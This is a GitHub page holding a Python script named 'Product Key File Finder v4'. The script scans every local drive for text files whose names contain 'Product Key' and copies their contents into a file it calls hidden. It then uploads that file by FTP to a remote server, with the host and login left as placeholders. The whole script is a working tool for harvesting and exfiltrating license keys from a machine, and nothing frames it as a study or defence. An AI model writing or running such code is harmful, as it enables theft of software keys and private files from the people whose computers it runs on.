-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathProduct Key File Finder v4
67 lines (67 loc) · 1.72 KB
/
Product Key File Finder v4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import glob, os, shutil, ftplib, string
rs = ['%s://' % d for d in string.ascii_uppercase if os.path.exists('%s://' % d)]
print(rs);
print(len(rs));
print('Execute: 10% Local Drive search complete')
i = 0
j = 0
rss=[]
ff = 'Product Key'
print('Execute: 20%')
directory = "rrs"
file_name = "rrs.txt"
print('Execute: 30% Hidden folder named rss is created in second local drive from list')
path = os.path.join(rs[1], directory)
os.mkdir(path)
print('Hidden folder path: ',path)
print('Execute: 40% Hidden file text.txt is created in hidden folder rss')
CN = os.path.join(path, file_name)
print('Hidden file location: ',CN)
file1 = open(CN, "a")
file1.close()
pp = CN
print('Execute: 40% below files are present in system')
while i != len(rs):
os.chdir(rs[i])
for file in glob.glob("**/*.txt", recursive = True):
if ff in file:
print(file)
completeName = os.path.join(rs[i], file)
print('File path: ',completeName)
f = open(completeName,'r')
print(f.read())
f.close()
rss.append(completeName)
i += 1
print('Execute: 100% showing result')
print('scan done')
print(rss)
while j != len(rss):
with open(rss[j]) as trs, open(pp, "a") as rrs:
for line in trs:
rrs.write(line.rstrip("\n") +'\t'+rss[j]+"\n")
#shutil.copy(rss[j],pp)
f = open(pp,'r')
print(f.read())
f.close()
j+=1
f = open(pp,'r')
print(f.read())
print('uploading data.......')
filename = pp
ftp = ftplib.FTP()
host = "FTP CLIENT URL ENTER HERE"
port = 21
ftp.connect(host, port)
print (ftp.getwelcome())
try:
print ("Logging in...")
ftp.login("USERNAME ENTER HERE", "PASSWORD ENTER HERE")
ftp.dir()
ftp.cwd('htdocs')
ftp.dir()
with open(filename, "rb") as file:
ftp.storbinary(f"STOR test.txt", file)
ftp.dir()
except:
"failed to login"